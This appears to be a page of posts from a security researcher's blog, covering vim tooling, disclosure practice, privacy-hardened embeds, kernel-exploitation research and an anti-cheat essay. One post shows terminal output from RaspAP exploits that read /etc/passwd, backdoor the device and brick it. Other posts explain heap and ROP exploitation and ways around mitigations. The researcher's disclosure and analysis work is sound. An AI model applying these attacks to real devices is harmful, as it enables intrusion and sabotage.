Artificial truth

Using vale with vim

jvoisin — Sun, 10 Mar 2024 17:15:00 +0100

LWN recently published an excellent (subscriber only) article on vale, an editorial style linter. One of the original goal of this little corner on the internet was to improve my English, a purpose it keeps serving. Adding some lightweight tooling to my text editor to push this goal even further sounds great.

Like all good software, vale is packaged in Alpine, although it looked a tad neglected, so I sent a pull-request to get it updated. Its configuration is pretty straightforward: a ~/.vale.ini file, with where to store/read its data and some preferences. It comes with a couple of packages for popular styles, like the ones from Microsoft, Google, RedHat, … then a simple vale sync to force it to download and store the data, and you're good to go.

While vale can be called from the command line, integration with my text editor is way more comfy. I'm sure there are a ton of plugins to integrate it with vim, but I'm not a huge fan of having my text editor run arbitrary code from the internet, so I threw the following 6 lines in my vimrc instead:

augroup vale
  if filereadable(expand("~/.vale.ini"))
    autocmd FileType markdown setlocal makeprg=vale\ --output=line\ % errorformat=%f:%l:%c:%o:%m
    nnoremap <Leader>M :make<CR><CR>
  end
augroup end

It checks if I have a ~/vale.ini file, and if so sets makeprg to vale, and configure errorformat to properly parse vale's output. Now every time I type <Leader> M, I get vale's diagnostics in my quickfix window.

The next steps would likely be to ~~waste~~ spend some time improving the theme of the aforementioned window, add some ad hoc rules to vale, and maybe try to show the diagnostics inline like the spellechecker is doing.

Carrot disclosure

jvoisin — Fri, 08 Mar 2024 21:30:00 +0100

Once you have found a vulnerability, you can either sit on it, or disclose it. There are usually two ways to disclose, with minor variations:

Coordinated Disclosure, where one gives time to the vendor to issue a fix before disclosing
Full Disclosure, where one discloses immediately without notifying anyone before.

I would like to coin a 3^rd one: Carrot Disclosure, dangling a metaphorical carrot in front of the vendor to incentivise change. The main idea is to only publish the (redacted) output of the exploit for a critical vulnerability, to showcase that the software is exploitable. Now the vendor has two choices: either perform a holistic audit of its software, fixing as many issues as possible in the hope of fixing the showcased vulnerability; or losing users who might not be happy running a known-vulnerable software. Users of this disclosure model are of course called Bugs Bunnies.

We all looked at catastrophic web applications, finding a ton of bugs, and deciding not to bother with reporting them, because they were too many of them, because we knew that there will be more of them lurking, because the vendor is a complete tool and it would take more time trying to properly disclose things than it took finding the vulnerabilities, … This is an excellent use case for Carrot Disclosure! Of course, for unauditably-large codebases, it doesn't work: you've got a Linux LPE, who cares.

Interestingly, it shifts the work balance a bit: it's usually harder to write an exploit than it's to fix here. But here, the vendor has to audit and fix its entire codebase, for the ~low cost of one (1) exploit, that you don't even have to publish if you don't want to.

If you want to be extra-nice, you can:

Publish the SHA256 of the exploit, to prove that you weren't making things up, once it's fixed or if you get sued for whatever frivolous reasons like libel.
Maintain the exploits against new versions, proving that the exploit is still working.
Publish the exploit once it has been fixed, otherwise you risk to have vendors call your bluff next time, or at least notify that the issue has been fixed. Since you don't have hardcoded offsets because we're in 2024, you can even put this in a continuous integration.

Let's have an example, as a treat. A couple of shitty vulnerabilities for RaspAP that took me 5 minutes to find and at least 5 more to write an exploit for each of them:

$ ./read-raspap.py 10.3.141.1 /etc/passwd | head -n 5
[+] Target is running RaspAP
[+] Dumping /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
$ ./authed-mitm-raspap.py 10.3.141.1
[+] default login/password in use
[+] backdooring system…
[+] system backdoored, enjoy your permanent MITM!
$ ./brick-raspap.py 10.3.141.1
[+] Target is running RaspAP
[+] Bricking the system…
[+] System bricked!
$

It looks like there is a low-hanging unauthenticated arbitrary code execution chainable with a privilege escalation to root as well, but since writing an exploit would take more than 5 minutes, I can't be bothered, and odds are that it'll be fixed along with the persistent denial-of-service anyway. Let me know when you think those are fixed.

Youtube video embedding harm reduction

jvoisin — Tue, 27 Feb 2024 14:45:00 +0100

Embedding external content on a website in the current enshittocene period is more annoying than ever, so here is a copy-pasteable snippet to embed a youtube video while reducing its tracking and nuisance capabilities as much as possible:

<iframe
    credentialless
    allowfullscreen
    referrerpolicy="no-referrer"
    sandbox="allow-scripts allow-same-origin"
    allow="accelerometer 'none'; ambient-light-sensor 'none'; autoplay 'none'; battery 'none'; bluetooth 'none'; browsing-topics 'none'; camera 'none'; ch-ua 'none'; display-capture 'none'; domain-agent 'none'; document-domain 'none'; encrypted-media 'none'; execution-while-not-rendered 'none'; execution-while-out-of-viewport 'none'; gamepad 'none'; geolocation 'none'; gyroscope 'none'; hid 'none'; identity-credentials-get 'none'; idle-detection 'none'; keyboard-map 'none'; local-fonts 'none'; magnetometer 'none'; microphone 'none'; midi 'none'; navigation-override 'none'; otp-credentials 'none'; payment 'none'; picture-in-picture 'none'; publickey-credentials-create 'none'; publickey-credentials-get 'none'; screen-wake-lock 'none'; serial 'none'; speaker-selection 'none'; sync-xhr 'none'; usb 'none'; web-share 'none'; window-management 'none'; xr-spatial-tracking 'none'",
    csp="sandbox allow-scripts allow-same-origin;"
    width="560"
    height="315"
    src="https://www.youtube-nocookie.com/embed/jfKfPfyJRdk"
    title="lofi hip hop radio 📚 - beats to relax/study to"
    frameborder="0"
    loading="lazy"
></iframe>

credentialless to load youtube in a blank disposable context, without access to the origin's network, cookies, and storage data.
allowfullscreen because some people like it
referrerpolicy set to not leak your referer
sandbox to only allow javascript execution and SOP. Downloads, forms, modals, screen orientation, pointer lock, popups, presentation session, storage access and thus third-party cookies, top-navigation, … are all denied.
allow with every single directives set to "absolutely-fucking-not", and yes, they have to be all set one by one, and check regularly is new directive were added, because there is no deny-all in the spec. It seems that every browser has its own list of directives, chrome is using this one while firefox' prefers the MDN one, and of course the two differ. No doubt this was designed with privacy, simplicity, maintainability and security in mind.
src set to www.youtube-nocookie.com instead of youtube.com. Both are official Google urls, but the former doesn't do tracking via cookies, and disables API and interaction and interaction logging. Amusingly, it's the player used on whitehouse.gov.
csp set to sandbox allow-scripts allow-same-origin; for compatibility's sake, just in case. I'd love to use a more restrictive policy, but the spec doesn't allow to provide one, except if the embedded website explicitly allows it, and of course youtube doesn't.
loading="lazy" in case people don't scroll far enough to see the video, no need to make them do queries to Google for no reasons.

Don't forget to put a title for accessibility's sake.

A silly "smart" contract bug

jvoisin — Fri, 16 Feb 2024 13:30:00 +0100

I was idling on a friend's Discord server, when he posted a small snippet of code, taken from a smart contract apparently swapping WETH to MINER, but who cares, what's interesting here is the bug, can you spot it?

function _update(address from, address to, uint256 value, bool mint) internal virtual {
        uint256 fromBalance = _balances[from];
        uint256 toBalance = _balances[to];
        if (fromBalance < value) {
            revert ERC20InsufficientBalance(from, fromBalance, value);
        }

        unchecked {
            // Overflow not possible: value <= fromBalance <= totalSupply.
            _balances[from] = fromBalance - value;

            // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
            _balances[to] = toBalance + value;
        }

As a hint, look at this transaction. Isn't it a cute bugdoor?

The snippet is taken from this tweet, giving the issue away. Thanks to Jinseo Kim for holding my hand understanding what was going on there.

Fixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmox

jvoisin — Mon, 05 Feb 2024 17:00:00 +0100

There are currently some issues with regard to OpenSSL and Alpine Linux on Proxmox, tracked as #5194 by Promox since the 19^th of January, with some patches sent by email (sigh) to fix the issue still waiting to land. The root cause being Proxmox setting SSL_CERT_FILE='/usr/lib/ssl/cert.pem' when pct enter is used, while on Alpine the cert.pem file is in /etc/ssl/cert.pem.

In the meantime, here is what the problem looks like (for SEO) and how to hack around it:

root@pve ~ pct enter 122
# apk update
fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:
WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied
fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)
48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:
WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied
4 unavailable, 0 stale; 30 distinct packages available
# ^D
root@pve ~ lxc-attach -n 122 
# apk update; apk upgrade
fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz
v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]
v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]
OK: 20069 distinct packages available
OK: 10 MiB in 30 packages
# ^D
root@pve 16:58 ~

tl;dr: lxc attach -n 123 instead of pct enter 123

Musings on CVE-2023-6246 on hardened_malloc

jvoisin — Wed, 31 Jan 2024 02:00:00 +0100

Qualys' ~~security team~~ Threat Research Unit published a couple of hours ago a linear two-step heap buffer overflow in glibc's syslog():

206 buf = malloc ((bufsize + 1) * sizeof (char));
...
213       __snprintf (buf, l + 1,
214                   SYSLOG_HEADER (pri, timestamp, &msgoff, pid));
...
221     __vsnprintf_internal (buf + l, bufsize - l + 1, fmt, apc,
222                           mode_flags);

the tl;dr is that bufsize is 0 while l is user-controlled. As mentioned in the advisory, messing with nss structures as done in their (phenomenal) Baron Samedit sudo exploit is a good way to get a root shell on the glibc.

While the bug is in glibc's syslog, it's not unheard of for people to run custom allocators for performance/security/speed/… reasons. One of those could be, for example, hardened_malloc, GrapheneOS's security-focused allocator, raising the question "would hardened_malloc make this particular bug unexploitable on my x86_64 Debian machine?"

After discussing this with friends, we don't think that it makes the bug completely unexploitable, but ridiculously complicated, which is good enough™ for me. But keep in mind that this "analysis" was done hastily at 2am, so caveat lector.

hardened_malloc uses size-based slabs isolation, popularised by PartitionAlloc. Since bufsize is zero, this is a 1-byte allocation, falling into the 16 bytes size-class, the smallest after the special 0 one. So to exploit this, one would have to find an interesting object of size 16 bytes or lower to overwrite. But since canaries are enabled by default, this becomes even more difficult: sizes of allocations are actually bumped by 8 bytes, meaning that one would actually have to find an interesting object of size 8 bytes or lower.

Moreover, 16-byte slabs can contain at most 256 allocations, and are surrounded by guard pages, meaning that accessing anything below buf and above buf+(256*16) will result in a crash.

Allocations are randomized, which might help for bruteforcing the heap layout: if the current one isn't exploitable, just crash and start again. But it will also result in a lot more crashes, since buf might be allocated closer to the guard page.

There are of course other mitigations, but they aren't relevant in this particular case, like canaries that are checked on free, or ARM's MTE that completely kills linear-overflows.

Given the ludicrous amount of randomization hardened_malloc applies to heap bases (32G per region), bruteforcing offsets of anything not on the heap is futile. So one would have to find something interesting in an object of 8 bytes or less on the heap, like a path to corrupt as in service_user, or some partial-overwrite of a function-pointer to call a one-shot-gadget, …

Thanks to strcat for the handholding, and to jdoe, drvink and J for their diligent proofreading,

Paper notes: RetSpill

jvoisin — Thu, 18 Jan 2024 16:45:00 +0100

Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections
PDF: ACM — mirror — local mirror
Authors: Kyle "kylebot" Zeng, Ruoyu Wang, Yan Shoshitaishvili, and Adam Doupé from Shellphish, along with Zhenpeng Lin, Kangjie Lu, Xinyu Xing and Tiffany Bao.

The idea of the paper is to use user-controlled data that are by design copied in kernel-land when exercising syscalls to store a ROP-chain, via 4 main venues:

Valid Data directly copied onto the kernel stack for performance reasons, like when calling poll;
Preserved Registers, restored upon returning from kernel-land to userland.
Calling Convention compliant functions will save/restore registers, and apparently, system call handlers are calling convention compliant even though the kernel is already taking care of those, and syscalls can only be called from userland. But even if the syscalls handles weren't compliant, registers still contain userland values when they're called, and sub-functions might store/restore those registers, since those do need to be compliant.
Uninitialized Memory, since the per-thread kernel stack is reused between syscalls, and not erased (unless PAX_MEMORY_STACKLEAK is used).

Then, only a KASLR leak, a CFHP (control-flow hijacking primitive) and a add rsp, X; ret-like gadget are required to ROP all the things. Nowadays, most™ CFHP are created by corrupting the heap to hijack function pointers, and since every kernel thread shares the same heap, once it is is properly shaped, the control flow hijacking primitive can likely be triggered again and again from a different threads. Moreover, changing the exploit is simply a matter of re-invoking a syscall with different data spill, instead of having to reshape the heap every single time. One doesn't have to worry about crashes (enabling lame bruteforcing), since no major Linux distributions (except CentOS, kudos) has panic_on_oops enabled, so having a ROP-chain crash is no big deal, because the CFHP is still on the heap, one syscall away.

Since the space afforded to store gadgets might be too small, one trick is to invoke do_task_dead at the end of every ROP-chain to terminate it gracefully, and trigger the CFHP again and again.

Mitigation-wise:

SMEP, SMAP and KPTI are irrelevant.
RANDKSTACK mitigates data spillage from Preserved Registers and Uninitialized Memory, but since it only provides 5 bits of randomness, a ret-sled is enough to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise), and in the absence of panic_on_oops it can quickly be bruteforced anyway.
STACKLEAK, STRUCTLEAK, and CONFIG_INIT_STACK_* only mitigate data spillage from Uninitialized Memory.
FG-KASLR is useless since it doesn't randomize everything, leaving a couple (42631 according to the paper) of gadgets at position-invariant positions, which are enough to perform arbitrary-reads and derandomize everything.
KCFI and IBT also (currently) don't cover everything, but don't really matter much here anyway, since we only care about backward-edges, and as for the CFHP:
There are ways to obtain one in the presence of perfect forward-edge CFI with a heap corruption.
Using __x86_indirect_thunk_rdi allows to transform a forward-edge control-flow transition to backward edge one.
Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill, but PaX' RAP is really close to it, likely making it insanely hard, with its type-based CFI, and its changing-on-every-syscall/task/… register-stored cookie paired with unreadable kernel stacks for backward edge, on top of CFI.

To showcase how cool all of this is, the paper comes with a semi-automated tool outputting the address of a stack-shifting gadget, a function to performs data spillage, invoke the triggering system call, and yield a root shell via a classic commit_creds(init_cred) + returning back to user space. It works by:

taking full snapshots of a vm to locate the syscall leading to CFHP by using a binary-search-like heuristic;
mutating userland inputs (registers, copy\_from\_user/get\_user parameters, …), continuing the execution of the vm, marking the as user-controllable data if the CFHP still happens after modifications, and doing taint analysis to find how to modify them.
generating a ROP-chain, which isn't that easy, given that:
it's done over discrete controlled regions
there are some constraints, like "eax contains the syscall number", or "edx comes from both Saved Registers and Calling Convention spillages.

Of course, given that some authors are angr developers, angrop was used to knit the ROP-chains, and the results are pretty impressive:

The abundance of data spillage allows 20 out of 22 proof-of-concept programs that manifest CFHP to be semi-automatically turned into full privilege escalation exploits.

To kill this technique, the authors suggest:

Preserved Register: RANDKSTACK helps, but storing userspace registers somewhere else than on the stack would be even better, eg. in task_struct.
Uninitialized Memory: enable STACKLEAK/STRUCTLEAK/CONFIG\_INIT\_STACK\_\*, but the performances impact is pretty steep.
Calling Convention and Valid Data: an improved version of RANDKSTACK, adding a random offset at the bottom of each stack frame, between rsp and user data. This technique also mitigates Preserved Registers and Uninitialized Memory, with an average performance overhead of 0.61%.

Like all good papers it comes with code.

Amusingly:

RetSpill completely bypasses OpenBSD's MAP_STACK mitigation, should it ever be implemented in kernel-land,
The Organizers CTF team used the ptregs structure to store their ROP chain for 0CTF/TCTF 2021 Finals's Kernote pwn challenge.

On non-technical video-games cheat mitigations

jvoisin — Fri, 12 Jan 2024 20:15:00 +0100

Cheats are as old as video games, and will be there as long. There are a couple of high-profile players in the anti-cheat market today: BattlEye, Valve's VAC, PunkBuster, Epic's EAC, Blizzard's Warden, Riot's Vanguard, Activision's Ricochet, … as well as in-house ones.

To try to keep up in the race, both sides are resorting to more and more invasive technical privacy-invasive measures: streaming virtualised shellcodes, hardware fingerprinting and locking, stack-walking, bootkit-like kernel drivers, TPM/ secure boot/ HVCI/ IOMMU/ VBS/… shenanigans, hypervisors detection/usage, exfiltration of suspicious materials, external DMA hardware, or other more exotic things.

Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private and closed-community cheats are still flourishing, since it's a losing game by nature. And since games and anti-cheats are software, they're of course riddled with hilarious bugs leading to stupid bypasses.

But this isn't what this blogpost is about. Nowadays, cheats are considered as part of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down because they're morally questionable, but because they disturb the way the game is meant to be enjoyed. Toxic and abusive behaviours lead to the very same results: A game that isn't fun to play because of cheating/abuse/toxicity issues will see its players number decrease, have poor reviews, … and won't make money. I'm sure there is a parallel to be made about the current state of our society, but I digress.

For this article, we'll consider cheating and abuse/toxicity as a single issue under the term abuse. Now, because abuse isn't a purely technical issue, but also a social one, it can't be solved by technical solutions only, so let's have a look at what non-technical mitigations game developers are coming up with to curb this issue.

The most obvious mitigation is to make cheating expensive, money wise. Having to pay 60EUR for a game is a steep investment, especially if one has to buy it again every time they get banned. This of course doesn't apply for free-to-play games, but can be emulated by having a cosmetics ecosystem, either to pay for, or to grind. The other expensive thing when playing video games is the hardware, and bans can be tied to it.

Global measures

The big mitigation at this level is reputation systems. They're based on people who know best how a fun and fair game should go: players. After a match, they're encouraged to cast votes on how fair it was, on a match level, but also directly at players level: "Bob was really looking out for others", "Bob was a team player", and so on. For negative behaviour, reports don't have to wait the end of the match, players can report cheating, being offensive in the text/voice chat, griefing, queue dodging, smurfing, … Of course, slanderous reports are penalised.

Peer pressure is a good lever too, by taking action not only against cheaters, but from people benefiting from the cheat, like regular teammates.

Bug bounty programs are now commonplace, so it's only logical that there are now some rewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now, but will likely rise up as the programs mature. The positive effects are multiples:

It increases the incentives to report issues to get them fixed: a player finding a glitch/exploit can now get some cash for the discovery
As more abuse vectors are killed, the reward prices will rise, and it might become more profitable to report bugs than to sell them to cheat providers. This isn't unheard of, with Google's kernelCTF paying two times more than Zerodium.
If the bug bounty program is correctly managed, the probability of getting a given amount of money for reporting an issue will be higher than using it in a cheat for an unknown period of time until it gets fixed.
It will likely increase the amount of people looking for issues and willing to report them.

Community managers can also regularly ~~spread FUD~~ post updates about ban waves, anti-cheat measures, reports, … to make it clear that abusive behaviours are something being taken care of, and a dangerous gamble for players to take part in. I think I have seen some people spending time proving that some cheaters streaming live were in fact recycled pre-recorded footage from an earlier version of game, because some of the game details have been updated in the meantime.

Accounts-level measures

Some game stores, like Steam, have an account-level "cheater" mark, meaning that if someone gets banned from a game for cheating, other games can know about it. But more importantly, achievements and cosmetics are also tied to an account, and as mentioned previously, those are non-zero time and/or money investments. Getting banned means losing them. This of course only deters opportunistic cheaters, as people can simply create other accounts to cheat, but this can be made harder via purely technical means.

Most competitive online games have ranked and casual game modes, with the former being only accessible after having spent a certain amount of time in the latter one. Meaning that one has to do it again every time they get banned, or pay someone to do it. Some studios are even making player go through more hoops to be able to play, like requiring MFA, or playing a couple of matches against bots branded as a tutorial, before being able to play with other people. There is a course a fine balance to keep to annoy abusers but not legitimate players.

Player-level measures

The goal of non-technical measures isn't to make it impossible to be abusive, but to make it not worth it. Moreover, issuing instahwpermabans to edgelords seems a tad heavy-handed, so having a large panel of measures against abuser makes sense: one might want to allow people to rectify their behaviour, to isolate them to cool down, and so on. It might include textual warnings, temporary bans, kick from the current game, chat/voice mute, losing access to ranked play, reducing the amount of earned experience points, …

Players are abusive for various reasons, but I'd argue that most do because it's fun. Ruining the fun for them is thus a good way to curb such behaviours. A simple way to do this is to make them play together, by grouping players by reputation, or by having servers with technical anti-cheat measures explicitly disabled. But there are even more creative measures, like disabling their parachute, reducing their damage output to ridiculous levels, taking away their weapons, making other legitimate players invisible to them, randomly drop some of their inputs, hallucinations, … and while this costs a bit more engineering time than simply grouping them together, it has a couple of high-value returns on investment: - allowing game developers to spend more time collecting data on how cheats are working on a technical level, - reducing the impact cheaters have on a game make is possible to significantly defer banning them without impacting other players too much, making it harder for cheat makers to pinpoint how and why a cheat was detected. - it's absolutely hilarious

Examples

Rainbow Six Siege

It uses BattlEye, and in end-2022 early 2023 banned around 5000 accounts per month, which is a lot, but also shows that it doesn't deter cheaters.
The game costs $8, but if you want to have access to all the operators, it's $70. One can also unlock operators by playing, which takes several hundreds of hours.
To play ranked, one need to reach level 50, which takes around 50h, give or takes.
The game has a rich ecosystem of cosmetics than can be purchased for steep prices, and painstakingly earned by playing, that would be lost in cast of an account ban.
Friendly fire will result in the damages being applied to the shoot should it be reported as voluntary by the player at the receiving end.
It's developing a pretty involved reputation system, where people with a "positive" behaviour gets rewarded (more experience points, cosmetics, …), while those with a "negative" one might be prevented from playing ranked, get less experience points, …

Call of Duty: Modern Warfare II:

The game costs $70.
"Players must be at least Level 16 to access Ranked Play", but this can be done in a couple of hours.
Cheating results in account-wise permaban across all Call of Duty titles.
Banned accounts have their records purged from leaderboards.
Players engaging in "negative" behaviours might get muted on chat/voice, … and interestingly, cheaters are going to get paired with other cheaters in matchmaking. Players who are often playing with the same cheaters (boosting), will also get their reputation tanked.

Valorant

Its developer even published a great series of blopost on what it calls "game health"

The game is free-to-play, but comes with a lot of cosmetics.
Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.
Players joining games and idling to reap out experience points, doing nothing but kneecapping their team will get penalised.
Players are encouraged to report toxic behaviours, and to not engage, since engagement might be penalized as well
Players using, certain words whether in chat or as username, will be flagged as toxic.
Penalties come in various size, shapes and durations, allowing to fine tune according to behaviour: warnings, voice/chat restrictions, reduction in experience points gain, reduction in raked rating, increased queue waiting time, ranking game ban, global ban.
Valorant published their approach to mitigate smurfing; acknowledging that while having multiple accounts to smurf/trade/evade bans/… is not desirable, some people are using them to to play with friends with a better/worse ranked level. So while they took measures to detect and mitigate having multi-accounts, they also relaxed the maximum ranks difference for players to play together, which significantly reduced the number of alt-accounts usage, but also didn't alter match fairness in a measurable way.

Conclusion

This is all nice and dandy, but is it working? According to data from Rainbow Six Siege: Valorant, Call of Duty: Modern Warfare 2, … those measures are indeed working pretty well, and are likely providing better results than technical-only measures. They are also cheaper, since steering people away from toxic behaviours doesn't reduce the number of players as much as banning them outright. It's nice to see that the video game industry realised that cheating and abuses/toxicity could be addressed in similar non-technical ways, and that both approaches are complementary. This is a stark contrast to other ones, where techno-solutionism is seen at the only possible remedy, even more so in our machine-learning-all-the-things era.

Sources and resources

2023 in retrospect

jvoisin — Sun, 31 Dec 2023 23:59:00 +0100

In 2023, I did, amongst other things:

Donated some money:
- $400 to FSFE
- $5000 to NOYB
- $5000 to Riseup
- $5000 to the Internet Archive
- $5000 to the Planned Parenthood Federation of America
- $1000 to days for girls, on the advice of chik from darkscience.
- $200 each, as a Open Source Peer Bonus, courtesy of Google, to
  - Rich Felker for their work on musl.
  - Blaž Hrastnik for their work on Helix.
  - Justin Keyes for their work on Neovim.
  - Jean Abou-Samra for their work on Pygments.
Read a couple of books:
- Le tueur
- Some Warhammer 40,000:
  - Sons of the Hydra, neat.
  - Dark Imperium (Anthology)
  - Shroud of Night, forgettable.
  - The Black Legion duology, solid.
  - Renegades: Harrowmaster, witty.
  - Assassinorum: Kingmaker, decent.
  - Night Lords: The Omnibus, outstanding.
  - The Deacon of Wounds great writing style.
  - Assassinorum: Execution force, forgettable.
  - The Infinite and the Divine, highly entertaining.
  - The End and the Death vol. 1, a teensy bit over the top.
  - The End and the Death vol. 2, almost there, almost there, ...
  - The Macharian Crusade Omnibus, a writing style a tad heavy.
  - The Dark Imperium trilogy, nice to see the setting moving forward!
  - The first 5 tomes of the Dawn of Fire heptalogy, definitely a series of books.
  - The Lion: Son of the Forest, I've seen Dragon Balls episodes with a quicker pace.
  - Finished the Beast Arises dodecalogy. The last chapter of the final book deserved a book on its own, instead of being speedrunned in ~30 pages.
- It's OK to Be Angry About Capitalism
- Hacks, Leaks, and Revelations: a reference
- Beyond choices: The design of ethical gameplay
- Non, le masculin ne l’emporte pas sur le féminin !
- This Changes Everything: Capitalism vs. the Climate
- Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money.
- The Performance of Open Source Applications: contains some really nice tidbits.
- The Architecture of Open Source Applications, Part 1.: computers were a mistake.
- Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)
- Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech
- Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking: great
- How I Rob Banks (and other such places), written in an unbearably cocky style, mildly entertaining.
- How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History, a bit too shallow for my taste.
- The End of Average, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.
- Staff Engineer: Leadership beyond the management track, I'm not there yet, but it helped me understand some coworker's jobs and struggles.
- Metal Gear Solid. Hideo Kojima's Magnum Opus: deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the rampant sexism, typos and frenchisms, … prefer the wikipedia and fandom pages instead.
- The Mirage: I was expecting more of a description of an alternative history than a novel with a lame plot and forgettable characters. The humour is goofy and unsubtle: a punk rock group called Green Desert has an anti-war anthem named "Arabian Idiot"; a morning talk show called Jazeera & Friends, … but this is completely on par with the post-11-September anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.
Moved back to France.
Volunteered at a library.
Refused to sell websec.fr
Listened to some music.
Attended some concerts:
- Eisbrecher, along with Maerzfeld
- Gojira, along with Alien Weaponry
- Katatonia, along with SOM and Sólstafir
- Heaven Shall Burn, along with Trivium, Malevolence, and Obituary
- Igorrr, along with Der Weg einer Freiheit, Amenra, and Hangman's Chain
Played some video games:
- On a computer:
  - MyHouse.WAD: wow.
  - >observer_: didn't like it.
  - Sea of Thieves, ~ok with friends.
  - Blood West: Thief in the Far West.
  - Half Life: Alyx: impressive in every way.
  - High on Life: excruciatingly tedious at best.
  - Cyberpunk 2077: Phantom Liberty: glorious.
  - Rainbow Six: Siege: better than Counter Strike.
  - Hogwarts Legacy: breathtaking and well rounded.
  - Rewind or Die felt like playing resident evil again <3
  - Outer Wilds: the controls were too terrible for me to play.
  - The Last of Us Part 1: ok-ish, not my jam, Joel is a moron.
  - The Witcher 3 - Wild Hunt: when did video game get so long…
  - Apex Legends: a lame version of Titanfall 2, ok-ish when playing ranked.
  - Warhammer 40,000: Chaos Gate - Daemonhunters: XCOM with Grey knights.
  - Metal: Hellsinger: looked super-lame on gameplay videos, but was surprisingly fun.
  - Starfield: a buggy clunky quickly-boring Skyrim in space, quickly went back to Cyberpunk 2077.
  - Industria: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.
  - Journey to the Savage Planet: Rich in poop-oriented jokes, trying hard to be funny and maybe even subversive but systematically falling flat.
  - Baldur's Gate 3: not a fan of the Dungeons & Dragons dice-based gameplay, nor of the hard dialog choices cutting entire parts of the game, but still an amazing game.
  - Metal Gear Solid V: The Definitive Experience, so Metal Gear Solid V: Ground Zeroes and Metal Gear Solid V: The Phantom Pain. I bought it after having seen the former being run at the AGDQ 2023. Truly amazing game overall, except for the sexualisation of the sole female character.
- On a (glorious) Steam Deck:
  - UNDYING: nice zombie-related game.
  - God of War, surprisingly "wholesome".
  - Dredge, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …
  - Vampyr, because I miss Vampire: The Masquerade – Bloodlines. It could have been so much more instead of being "meh".
Ported Snuffleupagus to PHP8.3.
Contributed to a couple of software:
- lite-xl
- Alpine linux, by:
  - becoming a package maintainer
  - documenting a bit the compiler-based mitigations, and enabling some missing ones.
- Because of runZero, I
  - contributed to recog to improve some of its fingerprints;
  - made it less trivial to detect Sonarr/Lidarr/Radarr/… versions.
- isoalloc
- pygments, mainly by adding lexers.
- bazaar, making it work on Alpine Linux.
- oss-fuzz, including some python fuzzers.
- mimalloc-bench, resulting in some real world improvements.
- mutagen, since it's used by mat2. I even integrated it into OSS-Fuzz.
- metasploit, by doing a lot of code reviews for pull-requests, and landing some modules, like a SPIP RCE, courtesy of Laluka and coiffeur.
- chrony, spending some time debugging how to enable its seccomp sandbox on Alpine Linux, resulting in a couple of improvements, and of course a now-enabled-by-default sandbox there.
Got a CVE for a bug I reported in 2020!
Kept maintaining OpenMW's infrastructure.
Learnt some Rust so I could hang out with the cool kids.
Helped organise the GoogleCTF, which was pretty well received.
Added more possible subtitles to this blog, bringing their numbers above 1100.
Reduced the size of this website's webpages; most should now be around 10kb.
Contributed a bit to Wikipedia, in English and in French under my usual nickname.
Moved my emails away from Gandi over to Migadu, given their ludicrous post-acquisition price increase.
Investigated what hardening-related compiler flags where enabled by default by popular Linux distributions.
Contributed a bit (by crunching numbers) to Stockfish, an open-source chess engine with an Elo rating around 3500.
Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage, thanks to a ~~karma junkie~~ marketing-able friend
Kept maintaining Nos Oignons's infrastructure with corl3ss. We're back at handling around 2% of tor's exit traffic! Our little non-profit is now 10 years old.
Took over the development and maintenance of sin's fortify-headers. It's used by OpenWrt, Alpine Linux, and soon in Gentoo Hardened's musl flavour.
